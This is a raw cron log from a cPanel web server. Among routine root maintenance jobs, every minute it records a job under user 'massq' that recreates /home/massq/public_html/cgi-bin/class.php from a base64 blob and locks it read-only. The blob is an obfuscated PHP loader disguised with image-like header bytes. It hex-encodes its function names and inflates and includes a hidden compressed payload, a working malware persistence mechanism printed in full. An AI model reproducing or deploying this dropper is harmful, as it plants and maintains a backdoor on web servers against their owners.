Sep  4 17:39:01 server CROND[4464]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:40:01 server CROND[4877]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 17:40:01 server CROND[4878]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 17:40:01 server CROND[4880]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:40:01 server CROND[4882]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 17:40:01 server CROND[4886]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:40:01 server CROND[4883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:40:01 server CROND[4884]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 17:40:01 server CROND[4881]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 17:41:01 server CROND[5709]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:41:01 server CROND[5710]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:41:01 server CROND[5711]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:42:01 server CROND[6080]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:42:01 server CROND[6082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:42:01 server CROND[6081]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 17:42:01 server CROND[6083]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:43:01 server CROND[6550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:43:01 server CROND[6552]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:43:01 server CROND[6551]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:44:01 server CROND[6939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:44:01 server CROND[6941]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:44:01 server CROND[6942]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:45:01 server CROND[7380]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 17:45:01 server CROND[7384]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:45:01 server CROND[7388]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 17:45:01 server CROND[7390]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 17:45:01 server CROND[7387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:45:01 server CROND[7389]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 17:45:01 server CROND[7391]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:46:01 server CROND[8249]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:46:01 server CROND[8250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:46:01 server CROND[8251]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:47:01 server CROND[8625]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:47:01 server CROND[8624]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:47:01 server CROND[8626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:48:01 server CROND[9088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:48:01 server CROND[9089]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:48:01 server CROND[9090]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:49:01 server CROND[9456]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:49:01 server CROND[9458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:49:01 server CROND[9457]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:50:01 server CROND[9858]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 17:50:01 server CROND[9862]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 17:50:01 server CROND[9884]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 17:50:01 server CROND[9885]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:50:01 server CROND[9886]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 17:50:01 server CROND[9888]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:50:01 server CROND[9889]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 17:50:01 server CROND[9882]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:50:01 server CROND[9883]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
